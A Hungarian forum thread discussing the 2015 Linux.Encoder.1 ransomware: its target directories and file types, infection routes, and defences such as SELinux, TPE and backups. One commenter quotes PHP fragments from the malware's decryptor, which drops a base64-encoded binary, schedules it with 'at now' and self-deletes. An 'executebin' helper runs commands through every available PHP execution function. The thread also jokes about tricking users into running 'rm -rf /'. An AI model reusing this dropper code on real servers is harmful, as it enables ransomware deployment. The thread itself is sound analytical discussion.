Linux.Encoder.1 - CryptoLocker-hez hasonló, titkosító ransomware bukkant fel Linux-ra

 ( trey | 2015. november 8., vasárnap - 10:08 )

Az orosz Dr.Web antivírus cég adatbázisában felbukkant egy, a CryptoLocker és társaihoz hasonló funkcionalitást mutató linuxos ransomware. A Linux.Encoder.1 titkosító ransomware-t a PolarSSL library felhasználásával C-ben írták.

A ransomware első körben az alábbi könyvtárakban levő fájlokat titkosítja:

  • /home
  • /root
  • /var/lib/mysql
  • /var/www
  • /etc/nginx
  • /etc/apache2
  • /var/log

A home könyvtár titkosítása után nekilát a fájlrendszer tovább részének. Titkosítja a

  • public_html
  • www
  • webapp
  • backup
  • .git
  • .svn

könyvtárak tartalmait. Csak a ".php", ".html", ".tar", ".gz", ".sql", ".js", ".css", ".txt" ".pdf", ".tgz", ".war", ".jar", ".java", ".class", ".ruby", ".rar" ".zip", ".db", ".7z", ".doc", ".pdf", ".xls", ".properties", ".xml" ".jpg", ".jpeg", ".png", ".gif", ".mov", ".avi", ".wmv", ".mp3" ".mp4", ".wma", ".aac", ".wav", ".pem", ".pub", ".docx", ".apk" ".exe", ".dll", ".tpl", ".psd", ".asp", ".phtml", ".aspx", ".csv" kiterjesztésű fájlokat titkosítja.

A ransomware nem titkosítja az alábbiakat:

  • /
  • /root/.ssh
  • /usr/bin
  • /bin
  • /etc/ssh

További részletek itt.

Hozzászólás megjelenítési lehetőségek

A választott hozzászólás megjelenítési mód a „Beállítás” gombbal rögzíthető.

Gondolom ez a FreeBSD-s binárisának SHA1 hash-e, vagyis az is érintett lehet:

810806c3967e03f2fa2b9223d24ee0e3d42209d3 (x64, FreeBSD)

--
trey @ gépház

De ha jól látom, csak a 64-bites. ;-)

"launched with administrator privileges"

Érdekelne hogy tud a rendszerbe bejutni, és hogy tud magának root privilégiumot szerezni?
Jól gondolom hogy talán a hostolt oldalak hibáit használja ki és azon keresztül jut a rendszerbe. De akor se értem hogy tud root jogosultságot szerezni magának?

Például, ha "Vér Pistike" root engedélyezett SSH-t használ. De meg is érdemli.

"Értem én, hogy villanyos autó, de mi hajtja?"

Szögezzük le, hogy ez önmagában csak egy elméleti lehetőséget nyit meg, ha a jelszó megfelelően erős, akkor ez még nem egy triviális nyitott kapu.

local root exploit, esetleg remote root exploit-al.

Fedora 22, Thinkpad x220

A büszke vagyok az uptime-ra kernelen át.

Aki ilyen gépről simán nfs-re backupol, az most gondolja át ezt a dolgot. Inkább SSH, a backup script végén pedig legyen egy sudo chattr +i *.

Úgy, hogy se a kernel, se a root jogosultsággal futó programok, se a SUID-es binárisok nem tökéletesek.. És bármelyikben hibát talál az ember, és képes azt irányítani, úgy azt csinál vele amit akar (tipikusan root shell-t ad magának ha erre módja van), már amíg a programot nem patchelik ez ellen.

Évente több ilyen hiba jön ki, csak lapozd át az exploit-db.com adatbázisát
____________________________________
Az embert 2 éven át arra tanítják hogyan álljon meg a 2 lábán, és hogyan beszéljen... Aztán azt mondják neki: -"Ülj le és kuss legyen!"..

Miért feltételezed, hogy mindenképp root privilégiumot kell szereznie? Sima userként is le tudja titkosítani az adott felhasználó által írható állományokat...

És hol van ilyenkor poliverzum és társai a kacagtató "Linux filerendszere megvéd a vírusoktól" dogmákkal?

Ha a sima felhasználónak van írási joga az alábbi részekhez akor már régen rossz:

/root
/var/lib/mysql
/var/www
/etc/nginx
/etc/apache2
/var/log

Biztos csak én látok állandóan sok okos PHP fejlesztőnél 777 jogokkal fájlokat a /var/www alatt...

dev gépen én is megadom, egyszerűbb így.
de nyilván, ez olyan gép, amit bármikor legyalulok, nem sajnálom.

éles rendszeren az ilyet, nos. azt hiszem, egyre gondolunk.
--
blogom

Miért adod meg dev gépen? Pont hogy azon is megegyezőnek kellene lennie a beállításoknak a produkciós környezettel, hogy minél jobban kijöjjenek a bug-ok. Szerintem pont hogy szigorú biztonsági beállítások mellett kellene fejleszteni és tesztelni a szoftvert.

> Pont hogy azon is megegyezőnek kellene lennie a beállításoknak a produkciós környezettel, hogy minél jobban kijöjjenek a bug-ok.

Erre van a teszt gép, amin senki nem fejleszt, ellenben tesztel.

> Miért adod meg dev gépen?
Alapvetően nem fejlesztek PHP-t, legalábbis nem szeretek, s nem értek hozzá. Ellenben, amikor ilyen Apache - nginx - hasonlókkal kell játszanom, hogy a fejlesztői gépemen erre a környezetre tudjak fejleszteni, akkor sokkal egyszerűbb, ha írhatom - mintha rendszeresen root-olni kell, meg egyéb jogosultságokkal játszani.
Nyilván, ha e miatt van eltérő működés nálam, meg a teszt-gépen, akkor azt meg kell oldani. De ez azért eléggé „code smell”.

--
blogom

Szerintem is hibás az a hozzáállás, hogy azért van a teszt, hogy ezek kijöjjenek...

Sokszor ilyenkor az az eredménye, hogy az érdemi (értsd: fejlesztett feature kipróbálása) teszteket akadályozza, azzal, hogy el sem jut a tesztrendszer odáig, hogy ki lehessen próbálni, mert már előtte leáll vagy épp nem úgy megy stb...

Ezek simán eltolják a határidőket, feszültség keletkezik a dev és qa csapatok között (amennyiben nem egy ugyanazon személy mint php pistike esetén), ahelyett, hogy már a fejlesztés során egyből jól csinálja akinek az a feladata (debug módban a loggokban úgyis látszani kellene -ha nem akkor pedig van még mit fejleszteni rajta-, hogy miért akadt el...)...

Abban egyetértünk, hogy kell egy referencia-teszt környezet.
Azt hiszem, abban is egyetérthetünk, hogy egy dev gép sosem lehet ez a referencia-környezet, de még csak nem is lehet vele egyenlő.

Innentől fogva, én boldogan rá merem bízni az adott fejlesztőre, hogy a saját gépén mit, s hogyan állít be.
Nyilván, ha rendszeresen elkövet olyan kódot, ami a teszt-környezetben permission denied hibákat dobál - csúnyán nézek rá. Ha úgy gondolja, ez a mankó segít neki, hogy a saját gépét kicsit közelebb toszigálja a teszt-környezethez - legyen, nem ellenkezem.

De kötelezővé tenni, csak mert vannak olyan fejlesztők, akiknek kell ez a mankó. Na ne már, ne szopassuk magunkat.

Nem vagyok PHP fejlesztő, és Java alatt igen kevésszer jön elő ilyen fájlrendszeres dolog. Ettől függetlenül (vagy pont ezért), mivel néha kellenek olyan dolgok, amikhez kell egy PHP localban, a /var/www nálam 777.
--
blogom

"Na ne már, ne szopassuk magunkat."

Ezt nem ertem, miert lenne szopatas. Talan egybol a fejlesztoknek kellene irni a hataridoket is, hogy ne legyen egyaltalan feszko?

En azt gondolom, hibas megkimelni a fejlesztoket a fejlesztes kozben az ilyen alapveto hibaktol, amik a teszt/prod kornyezetben 100%-os esellyel elojonnek. Minel tobbszor talalkozik ilyesmivel, annal inkabb belerogzodik, hogy hogyan kell _egybol_ jol csinalni, az elso het utan gyakorlatilag nem fog neki erdemi sebessegcsokkenest okozni az, hogy az ilyen biztonsagi beallitasok alapbol be vannak kapcsolva, mert beleepul a workflowjaba, hogy ezekre figyelni kell. Pilot/teszt projektekkel lehet az ilyesmit nagyon szepen bevezetni, amikor nincs szoros hatarido, hanem megtanuljak, hogy kell az uj kornyezetben dolgozni. Utana nem fogsz sebessegcsokkenest tapasztalni a fejlesztoknel, sot, a teszt/hibajavito fazis lerovidul az ilyen hibak debugolasanak idejevel, raadasul a QA-nak is kevesebb feladata lesz. Ez egy win-win szituacio, csak az elso ellenallason kell tulesni, mint a baranyhimlon.
--
Blog | @hron84
Üzemeltető macik

Ez azért rossz, mert más lesz a teszt és az éles környezet.
Aztán meg jön az, hogy "de nálam ment" vagy "a teszt gépen jó volt".
Hasonló a helyzet más beállításokkal, legyen az akár disabled_functions, mysql beállítás, vagy tűzfal.
--
The Community ENTerprise Operating System

> Ez azért rossz, mert más lesz a teszt és az éles környezet.

És azért nem rossz mégsem, mert egy kicsit fentebb: "Erre van a teszt gép, amin senki nem fejleszt, ellenben tesztel." :)

Ha van egy dev --> teszt --> production felállás, akkor nem probléma, ha a devek a saját gépükön garázdálkodnak.

Viszont ha az osszes gepen egyforma biztonsagi beallitasok vannak ervenyben, akkor beepul a fejlesztesi metodologiaba, hogy figyeljuk pl. hogy egy fajl hozzaferheto-e, mig ha a fejlesztoi gepen teljes a szabadsag, akkor az ilyet hajlamosabbak ellazazni. Az informatikus egy lusta allatfaj, ezt tudomasul kell sajnos venni.
--
Blog | @hron84
Üzemeltető macik

Ez is igaz, de neki is igaza van abban, hogy a Cryptolockereknek általában nincs is szüksége más jogszintre mint a felhasználóé. Egy desktopon a felhasználó jogaival elérhető minden a felhasználó által létrehozott vagy számára fontos dokumentum, médiafájl, bármi. Nem vírus a Cryptolocker és nem is hagyományos értelemben vett malware. Ezért nagyon nehéz felfedezni antivírus programokkal. Csak a már ismerté váltaknál működik a mintaillesztés.

Megoldás az lehetne amit KitKat-ben vezetett be a Google. Azaz egyik alkalmazás nem fér hozzá a másik fájljaihoz. Csak ez akkora felzúdulást váltott ki, hogy vissza is szívták. Pedig ez jó módszer. Androidon eleve különböző userneveken futnak a programok és ha nem férnek hozzá egymás tárolt fájljaihoz akkor privilégiumemelés nélkül nem tudnak kárt okozni a cryptolockerek. Adatcserére ott a vágólap.

De a semminél az is több ha snapshotra képes fájlrendszerre térne át mindenki és figyelné egy program folyamatosan az írásra megnyitott majd lezárt fájlokat. Ha túl sok az egy időben módosított fájl riaszt. Torrent egyébként false alarmokhoz vezetne.

"Nem vírus a Cryptolocker és nem is hagyományos értelemben vett malware. "

Jó, de akkor hogyan terjed? Mindenki önkéntesen fölteszi a gépére, mint az albán vírust?

Valószínűleg úgy mint a Windowsos társa, e-mail csatolmányként. Az e-mailek tömege kiküldését pedig elvégzi valamelyik botnet.
Windowson úgy indul el, hogy például pdf-nek álcázott exe-t megnyitja a felhasználó. Linux itt jobban áll mert kiterjesztés helyett e-mail csatolmányként nem továbbítható fájljogok miatt executable egy fájl.

Ezt a binárist látva kétlem, eleve tar.gz-t kellene küldeni, három-négy állománnyal (mivel a titkosítási kulcsot is paraméterként kapja...).

Kellene maga a "virus", kellene egy pub.key amit megkap paraméternek, kellene egy shell script ami felparaméterezve elindítja, és kellene egy readme.crypto file amit majd elhelyez az összes titkosított könyvtárba és mindenkinek saját emailt kellene generálni, hiszen mindenkit más kulccsal akarsz eltitkosítani. :)

Ez így meg erőteljesen Albán vírus. :) (Persze lehetne csak egy script ami mindent beszerez wget-el :P)

Túlbonyolítod:
Elég egy sima bináris, amit a felhasználó valahogy meghív. A bináris elindul, generál magának egy kulcsot megfelelő algoritmus segítségével, azzal elkezdi titkosítani a file-okat, aztán odatesz minden mappába egy TXT-t, hogy "ha vissza akarod kapni a file-jaidat, akkor látogasd meg ezt az oldalt add meg az alábbi kódot (kulcs generálásnál használt változó) meg az E-mail címed és utalj át X bitcoint a megfelelő címre.
____________________________________
Az embert 2 éven át arra tanítják hogyan álljon meg a 2 lábán, és hogyan beszéljen... Aztán azt mondják neki: -"Ülj le és kuss legyen!"..

Én a fenti binárisról beszéltem, normálisan megírt cryptolocker úgy működne, ahogy írtad de azt amiről a cikk szól simán lehetne rsa encryptor/decryptornak hívni.

Ennek ellenére a Google szerint vannak magyar felhasználói is.

> Ha a sima felhasználónak van írási joga az alábbi részekhez akor már régen rossz:

Most hirtelen nem is tudom mit valasszak. Az altalad felsoroltakat, vagy az elmult 10 ev szellemi termekemet, amit szinten a szamitogepemen tarolok, es a sajat felhasznalomnak joga van irni es olvasni.

Hmm, nehez valasztas...

---
Saying a programming language is good because it works on all platforms is like saying anal sex is good because it works on all genders....

No de bizonyára van backup az előző 9 év és 51 hét szellemi termékedről, tehát ha azt titkosítják, az maximum egy kis bosszúság és időkiesés.

"
És hol van ilyenkor poliverzum és társai a kacagtató "Linux filerendszere megvéd a vírusoktól" dogmákkal"

Vicces, de pont az o fajlrendszer-strukturaja nem lenne erintett :D :D

Lehet be van symlinkelve... :)

Oke, de viccnek szantam, annak azert jo volt. Bar az meg viccesebb, hogy utananeztel. :D

Nem kellett, mert emlékeztem, hogy tele van ilyen symlinkekkel, csak screenshotot kerestem hozzá. :)

Nem akarom tudni, hogy mikor egett bele ez ennyire az emlekezetedbe, es minek a hatasara :D :D

Nekem az SCO UNIX-ról maradt meg ez a benyomásom, hogy minden mindenhová symlinkelve van. De úgy ám, hogy x helyről y helyre, ahol ugyanúgy csak egy simlink van z helyre, és talán még tovább is...

Nem emlékszem már, hogy ez mennyire volt tényleg általános, csak arra, hogy ez volt az érzésem. (Utoljára 96-ban dolgoztam vele, rég volt, alig emlékszem rá).

+1. Annyira így volt, hogy egyszer írtam egy szkriptet, ami összegyűjtötte ezeket, és kigyilkolta azokat, amiket fölöslegesnek minősítettem. :-)

/usr/bin/otthon alá kell költöztetni a home-okat. :)

en evek ota ugy telepitem a szamitogepeimet (laptop, asztali), hogy van egy baromi nagy particio linuxnak (tipikusan 100GB), es a maradek az adataimnak (per pillanat 860GB).

Az adataim /mnt/big nev alatt.

Persze ez nem egy security megoldas... De azon erdemes elgondolkodni, hogy minel jobban eltersz a stock megoldasoktol, annal nehezebben tud egy automata tonkretenni.

Persze tudhat a program egy full find / -et nyomni, es kiszelektalni az osszes .txt adatodat, mindenre van megoldas.

Csak ha mind szemelyisegek vagyunk (en nem!), akkor nehezebben ismer ki egy automata program.

Egyebkent az ilyen tamadasok ellen backup-pal lehet a legjobban vedekezni, meghozza ugy, hogy nem a laptop tolja a backup-ot, hanem a backup szerver keri el az aktualis valtozatot. Ha ez kelloen ritka (1 het), akkor a backup oldalon se lesz felulirva az ertekes adat a karossal.

---
Saying a programming language is good because it works on all platforms is like saying anal sex is good because it works on all genders....

Btrfs is jó auto-snapshottal az ilyen támadások ellen. Természetesen csak akkor ha nincs csutkára írva rendszeresen a háttértároló.

És "természetesen" akkor, ha épp nem szintén rootként ügyködik a ransomware és nem foglalkozik a snapshotokkal. Mivel egyes malware változatok a Windows Volume Shadow Copy szolgáltatását már szépen kezelik, ezért erre nagy összegben nem fogadnék, hogy nem jönnek hamarosan a lvm/btrfs/zfs snapshot támogatással rendelkező verziók...

Linuxon még ez sem megy rendesen. :(

http://i.imgur.com/I9w1xtj.png?1

Szerk.: A kulcs volt rossz, generáltam újat azzal titkosít és privát kulccsal decrypttel is (bár nem igazán vette figyelembe a kiterjesztést (vagy csak aminek nem volt kiterjesztése azt is titkosított) és egyszer végig titkosította a /-t. :))

".. es a maradek az adataimnak (per pillanat 860GB).

Az adataim /mnt/big nev alatt."

Nekem is hasonló, de be van symlinkelve a home-om alá, innentől meg mindegy.

Home alá a DVD-t kell belinkelni. Akkor meg is hallod ha valamilyen háttéralkalmazás nagyon dolgozni akarna rajta. :)

LOL

Nem ötleteket akarok adni, de jól látom, hogy a LibreOffice fájljait békén hagyja?

------------------------

Micsoda otlet! :D
--
Blog | @hron84
Üzemeltető macik

Rendes gyerekek ezek, hogy a libreoffice fájljaimat nem akarják titkosítani.

Azt viszont nem láttam a postban, hogy ez hogyan terjedne/fertőzne.

Szerintem valószínűleg sebezhető weblapokon keresztül, legalábbis a "visszafejtő" programjukból (ami egyébként maga a vírus :D) úgy tűnik.

print "Bin dumped ".file_put_contents("./host", base64_decode($so))."\n";
$index_html =  $_SERVER['DOCUMENT_ROOT'].'/index.html';
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$SCP=getcwd();
$SCR  ="#!/bin/sh\ncd '".$SCP."'\n./host decrypt key.pem '".$index_html."'\n";
$SCR .="\nrm 1.sh\nexit 0\n";
@file_put_contents("1.sh", $SCR);
@chmod("1.sh", 0777);
@chmod("host", 0777);
$exebin = executebin("at now -f 1.sh");
echo "exec=".$exebin."\n";
    for ($i = 0; $i < 5; $i++) {
        if (! @file_exists("1.sh")) {
            print "run=AT\n";
            if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
                die('remove=ok\n');
            else
                die ('remove=false\n');
        }
        sleep(1);
    }

Ez az "at now" kicsit fáj - rendes rendszerekben erre az volt a válasz:

"It's too late."

Windows-on nőttek fel, gondolom.

Az a része nem készült el, az az ág is a linux binárist dekódolja :P

elseif (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
{
    $freebsd = 0;
    echo "os=windows\n";
    if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
        die('remove=ok\n');
    else
        die ('remove=false\n');
}

Szerintem tutira valami webes sebezhetőségen keresztül terjed, mert mindent megtesz a futtatás érdekében. Nem lennék meglepve, ha a támadó kód nagyon hasonlítana a dekóderéhez.

function executebin($c)
{
    $exebin='false';
    @ob_start();
    if (function_exists('exec')) {
        @exec($c, $r);
        echo @implode("\n", $r);
        $exebin='exec';
    } elseif (function_exists('system')) { @system($c); $exebin='system';}
    elseif (function_exists('shell_exec')) { echo @shell_exec($c); $exebin='shell_exec';}
    elseif (function_exists('passthru')) {@passthru($c); $exebin='passthru';}
    elseif (is_resource($f = @popen($c, 'r'))) {
        while (!@feof($f)) echo @fread($f, 1024);
        @pclose($f);
        $exebin='popen';
    } elseif (is_resource($f = @proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'a')), $p))) {
        echo @stream_get_contents($p[1]);
        @proc_close($c);
        $exebin='proc_open';
    }
      elseif (function_exists('pcntl_exec')) {@pcntl_exec('/bin/sh', array('-c',  $c)); $exebin='pcntl_exec';}
    elseif (is_resource($f = @expect_popen($c))) {
        while (!@feof($f)) echo @fread($f, 1024);
        @fclose($f);
        $exebin='expect_popen';
    } elseif (is_resource($f = @fopen('expect://' . $c, 'r'))) {
        while (!@feof($f)) echo @fread($f, 1024);
        @fclose($f);
        $exebin='expect';
    }
    @ob_get_clean();
    return $exebin;
}

Arra gondoltam hogy tudtommal máig bevett gyakorlat a & helyett windowson az at now használata. Jobb híján?

Lett mostanaban jopar potencialis celpont:
- https://exploithub.com/product-type/metasploit-exploit/joomla.html (~5millio weboldal)
- https://blog.sucuri.net/2015/11/vbulletin-exploits-in-the-wild.html (~100.000 weboldal)

--------
Vultr VPS: SSD + 768MB RAM, 5USD/hó (benchmark), 20USD kupon: SSDVPS

Egy normálisan beállított selinux mennyire védheti meg ilyenkor a gépet? Gondolom, ha root jogot szerez a stuff, akkor kb. semennyire, de amíg csak user joga van addig hatásos lehet?

Ennek pont az a lényege, hogy nem kell neki root jog. Ha letitkosítja a /etc-t, és újra kell húznom a gépet, azt leszarom. Ha kiirtja a nyaralós fotóimat a /home-ból (amiről elvileg van backup, ugye? ;)) az már nagyobb baj.

A legnagyobb, hogy ez így GPL violation mert nem csatolják a vírus forráskódját és a tor honlapjukról se tölthető le. :-P

Ok tehát amihez a usernek bármi úton write joga van, és a fájltípus beleesik abba a csoportba, amit a ransomware figyel, az nincs biztonságban akár van selinux akár nincs.

A SELinuxot nem ismerem, így nem tudom, megfogja-e - SELinux nélkül valóban az történik, amit leírtál.

SELinux tovább korlátozza a jogokat, tehát jobban bezárja a futó alkalmazást. Web szerver esetén a minimális jogokat adja csak meg neki (ha persze nem írod felül setsebool-lal), tehát nagyban! növeli az esélyét hogy ne tudjanak betörni a gépbe. SELinux nélkül a futó processnek mindenhez van joga, amihez annak a user-nek, aminek a nevében fut.

AppArmor és Tomoyo is hasonló, csak kicsit kevésbé biztonságosak és kevesebb dolgot tudnak korlátozni. Ezekből ugye csak Ubuntu szállítja AppArmort, Tomoyo-t nem szállítja egyetlen mainstream distro sem tudtommal. SELinux meg ugye Fedora, RHEL, CentOS és SL.

A Novell is szállítja a SLE-ben az AppArmort. (Ellenben nem érünk semmit a szállított SELinux-szal, ha azt ki *kell* kapcsolni. És még csak nem is permissiove módba, hanem disabled-be.)

Valóban, SLE-t kihagytam, pedig fontos.

Miért kell kikapcsolni SELinux-ot? Ott vannak a beépített kapcsolók, tessék azt használni - ha meg nem felelnek meg, akkor lehet saját szabályt csinálni vagy bizonyos mappákra public jogot adni. Pl:

getsebool -a
setsebool -P allow_httpd_sys_script_anon_write on
chcon -t public_content_rw_t myfiles
semanage fcontext -a -t public_content_rw_t myfiles

Valóban nagyon merev SELinux, de talán ezért biztonságos és azért van mozgási lehetőség.

Megnemnevezett pénzintézet. RHEL*, plusz néhány kereskedelmi szoftver, supporttal. Ezek közül az egyik a saját doksijában közli, hogy a supportált futtatókörnyezet a selinux=disabled. Én is próbáltam őket győzködni, hogy legyen permissive, aztán egy 2 hónapos futtatás után küldjék el a logokat, de nem vállalták be.

Tudom, nem feltétlen ugyanaz a kategória, de sokfajta kisebb cuccot telepítettem, és még nem kellett kikapcsolnom soha. Nem is értem hogy ha pénzintézetről van szó, akkor biztonsági szempontból hogy engedhető meg ennek a fontos védelmi rendszernek a kikapcsolása. Mindegy.

Kurvára egyszerű: ha a szoftver vendor install doksija ezt mondja (márpedig az általam látott, Linuxon támogatott kereskedeli szoftverek jelentős része így indít a doksiban), akkor a pénzintézet számára kettő opció van: telepíti (így), vagy nem telepíti. Nincs ember ilyen helyeken, aki saját felelősségére felvállalja, hogy eltér a gyártó által előírtaktól.

Nem az üzemeltető, hanem a fejlesztő cég szempontjából értem.

A termék valószínűleg egyike a tíznél kevesebb(? legalábbis úgy tippelem) "banki alkalmazásnak"(*), és valószínűleg már bevezetett, évek (évtizedek?) óta használt cucc. Erről váltani csak azért, mert egy hányás az egész, durván sokba kerülne (és valszeg a többi se jobb, csak másképp szar). Ilyen a belterjes piac, más területen ugyan, de ugyanezzel a jelenséggel küzdünk nagyjából napi szinten.

*) Bármi is az, értem ez alatt azt, ami a bank életét viszi a háttérben.

Elfogadom amit mondasz, de ettől függetlenül még meg lehetne próbálni szabályt gyártani hozzá. Van eszköz ami az audit log-ból kiszedi hogy mihez fért hozzá a cucc permissive módban és meg lehet rá csinálni a szabályt. SELinux-nál elég hányás az egész, de kivitelezhető. Banki szinten nem tudom elképzelni hogy ne érje meg foglalkozni vele 1 órát.

Ahhoz hogy ez 1 óra fejlesztési idő legyen, ahhoz az kellene, hogy a szoftver fejlesztője ne a banki szoftverhez értsen, hanem a SELinux-hoz. Az meg nem valószínű, hogy nagyon megérné neki, hisz neki bőven elég azt írnia, hogy te kapcsold ki - nyilván aki most fogja megvenni a terméket, az dönthet ennek hatására úgy, hogy nem veszi meg (esély kb 0%), de aki már használja, ezért nem fogja lecserélni (esély kb 100%).

Akkor másképp mondom. Egyetértesz azzal amit írsz? Szerinted jó ez a gyakorlat így? Egy igen vagy egy nem-et szívesen vennék.

Idézek magamtól: "Én is próbáltam őket győzködni, hogy legyen permissive, aztán egy 2 hónapos futtatás után küldjék el a logokat, de nem vállalták be."
Azaz nem értek egyet vele, de
- nem én üzemeltetem a rendszert
- nem én fejlesztem a szoftvert
én szimplán csak arrajáró kívülállóként megpróbáltam beleszólni.

Mégis szemben álló és őket védő módon fogalmazol. Nem értem a lényegét amit mondani szeretnél. Én azt mondtam hogy ez így nem nagyon jó gyakorlat szerintem. Erre írsz valamit ami se meg nem erősíti, se nem cáfolja, se semmi. Rendben :)

Te pedig nem ertetted meg, hogy mi az alapveto problema. Ha en banki informatikuskent dolgoznek, sem ertenek egyet a dologgal, de az egyetnemertesemmel kitakarithatom azt a helyet, ahova sose sut nap, ez minden, amit tehetek. Kicsit olyan ez, mint amikor elbontottak a haz mogott a jatszoteret meg a padokat, nem ertettem egyet vele - de attol meg elbontottak.
--
Blog | @hron84
Üzemeltető macik

:D

Pláne hogy ez bőven az után fog kiderülni hogy megvették és aláírták az ötéves supportszerződést, és a kontraktor szakértő alsegédmunkása aki az üzemeltetést segíti, lazán odaveti mintegy mellékes információként, hogy "ja, azt ki kell kapcsolni".

Azt is meg lehetne próbálni hogy ne hányjon bele a ./x86e_win64/obj/MOZILLA/ alá egy rebrandelt gekkót ami aztán soha a rohadt életben nem frissül. Persze ha pármillióért veszel éves követést akkor (lehet hogy) frissül. Őszintén szólva nem néztem meg hogy az újabb buildek/release-k melyik verziónál tartanak, a licenceink nem teszik lehetővé az újabb verziók letöltését.

Meg se merem mondani hogy nekünk melyik verzió fut alatta, eheh. Jó, értem, csekély a valószínűsége hogy ki lehessen használni az esetleges (hihi) hibákat, de hasonlóan van betákolva oda hatos javától kezdve minden. A java mindjárt két példányban is, merthogy az úgy a jó:

./x86e_win64/obj/JRE/bin/java.exe
./html/*****_help/jre/win32/jre/bin/java.exe

Verzióban nagyjából egyeznek, bitszámilag van difi, egye fene, ez még védhető valamennyire. De úgy rémlik hogy nem mindig volt ennyire letisztult a helyzet, viszont ezért nem fogom elővenni a régi telepítőket :D

Nálam dettó ugyanez Java-val, becsomagolva, ősrégi verzió és a hálón lóg :/ Igaz, nem banki szektor, és legalább belső háló. Én mondjuk betettem egy VM-be. De nyilván ez nem lehet mindenhol megoldás.

Gyenge random generatort hasznal, ezert visszafejthetoek a lekodolt fajlok:
"We realized that, rather than generating secure random keys and IVs, the sample would derive these two pieces of information from the libc rand() function seeded with the current system timestamp at the moment of encryption. This information can be easily retrieved by looking at the file’s timestamp. This is a huge design flaw that allows retrieval of the AES key without having to decrypt it with the RSA public key sold by the Trojan’s operator(s)."
http://labs.bitdefender.com/2015/11/linux-ransomware-debut-fails-on-predictable-encryption-key/

--------
Vultr VPS: SSD + 768MB RAM, 5USD/hó (benchmark), 20USD kupon: SSDVPS

ilyenkor jó, ha valaki az adatait nehezen megfogható mappában tárolja pl "/.s9df % \fsdg ? *" mappában tárolja, ott talán nem keresi alapból :-)

drwxrwxr-x 1 csabka csabka 0 nov 12 17:02 .s9df % \fsdg ? *

Ha már itt tartunk, rakj bele pár printf formátumkaraktert ( %3.5d, %12s, hasonlók), hátha belefut a szoftver egy-két ilyen jellegű hibába is.

LOL

Én azon csodálkozom, hogy csak most jelent meg ilyen. Évekkel korábbra vártam hasonló cucc érkezését.

Ha jól látom a hírt, ez (még) előreforgatott bináris cucc, tehát valamilyen formában / user v. alkalmazás által/ el kell indítani.

Akkor ezek szerint mégsem alaptalan paranoia a grsec(TPE) használata...

--------

Nem vezetek...Jobb így. Nekem is
meg mindenki másnak is.

Osconfortress véd ellene? :p

Egyébként meg scriptnyelveken is meg lehet egy ilyet írni és annak futtatása ellen a TPE se véd...

Még mindig a legjobb védelem mai szoftverkörnyezetben, ha minden egyes alkalmazás saját userként fut és nincs hozzáférése a többi fájljaihoz. Vagy ha van is csak read-only.

Egyébként meg scriptnyelveken is meg lehet egy ilyet írni és annak futtatása ellen a TPE se véd...

Ugyanezt írtad már vagy kb. 8, vagy 10 éve is. Gondolom azóta is írod a virusszkriptedet... ;-)

De ahhoz, hogy "osconsfortress"-i / érdekes, hogy ennyi év után se felejtetted el teljesen / körülmények között is fusson jelen / és 8 évvel ezelőtti szerint is / állás szerint meg nyitnom egy konzolt, beírnom pl. sh hungervirus.sh , különben nem fog menni.

És nyilván tisztában vagy vele mennyi esély van rá, hogy lefuttassam.

Ez így már kb. az a szint, amivel tizenx éve szopatták a trollok a kezdőket, hogy van egy jó rendszergyorsítóm, futtasd le rm -rf/ ;-)

Persze ezt te is tudod, szóval nem tudom mire akartál kilyukadni ezzel a kb. 8 évvel ezelőtti önismétléseddel.

Ha unod magad, keress más játszótársat, vagy süss tojásrántottát vacsorára.

további jó szórakozást. mindjárt tőzsdezárás bocs.

--------

Nem vezetek...Jobb így. Nekem is
meg mindenki másnak is.

Talán rosszul fogalmaz de igaza van. Ezek a ransomwarek nem csinálnak semmi olyat amit a szokványos malwarek. Akár maga a felhasználó is végigtitkosíthat miden dokumentumot a gépén egy scripttel. Épp ezért nehéz kiszűrni őket.

Vicces ahogy fordítva ülsz a lovon, hogy én miért "önismétlek" és irom ugyanezt újra, hisz "8, vagy 10 éve is" pont a te indokolatlan TPE-n való rugózásodat tettem helyre és ezek szerint azóta sem tudtál túlhaladni rajta.

Ráadásul ezek szerint továbbiakban sem fogtad fel, hogy nem csak te lehetsz képes scriptet indítani a saját rendszereden, ahogy ezt a ransomwaret se a userek indítgatták el maguknak szórakozásból...

De azért a tözsdeguru szerepkör legalább jól áll, kár hogy indokolatlanul jött ide a TPE-vel együtt. Remélem legalább az ott összeharácsolt malibui nyaralódból szántál időt rám és nem valamelyik vasútállomásról írtál, a munkáltód szörnyű minőségű wifi hotspotjain keresztül. ;-)

Ráadásul ezek szerint továbbiakban sem fogtad fel, hogy nem csak te lehetsz képes scriptet indítani a saját rendszereden,

Látom sikerült megsértődni. Helyes. ;-)

Megpróbálok még egyszer nekifutni, bár én is csak egy egységsugarú szakmunkás vagyok, biztos nehéz a felfogásom. :-DDD

Elvi síkon szerintem úgy van esélye ilyen idegen scriptnek itt lefutni, hogy azt valamelyik általam indított program eleve megértse/lefuttassa, ami azért nem túl valószínű, hogy a PaX-on - ami ua. része a grsec-nek, mint a TPE. - így pl. átmegy.

Még ha az adott prg egy 0day hiba miatt futtatná is az idegen scriptet.

ezt a ransomwaret se a userek indítgatták el maguknak szórakozásból...

Hát valakinek pedig el kellett indítani, le kellett tölteni a gépére, mert valahogyan felkerült , és elindult valahol különben nem lenne a vírusadatbázisban. :-))

Tippre valami fűdeszuper app-nak álcázták, a birka user lementette, kattintott 2-t és a cucc elindult.

A lemented és rákattintasz aztán elindul, az viszont itt nem megy, hiába van rajta futtatási jog, a TPE ugyanúgy le fogja ütni a szkriptet is, mintha bináris lenne.

Direktben nem fogja elindítani akkor sem. TPE -nél a lényeg azon van, hogy ki a futtatandó fájl tulajdonosa, ha megbízhatatlan, akkor így járt.
De gondolom tisztában vagy a TPE működésével.

Hogy a futtatható fájl bináris ELF, perl script, shell szkript, win32 (wine-hoz pl.) az teljesen mindegy.

Ilyesmi üzenet a vége konkrét példa alapján:

grsec: denied untrusted exec (due to being in untrusted group and file in non-root-owned directory) of /home/*****/*****.pl by ...

***.pl: Perl script, ASCII text executable

Ahhoz, hogy le tudjon az idegen script futni, engem mint felhasználót kell rábírni.:

1.:) elindítsak egy terminált, és lefuttassam a script számára szükséges értelmezővel
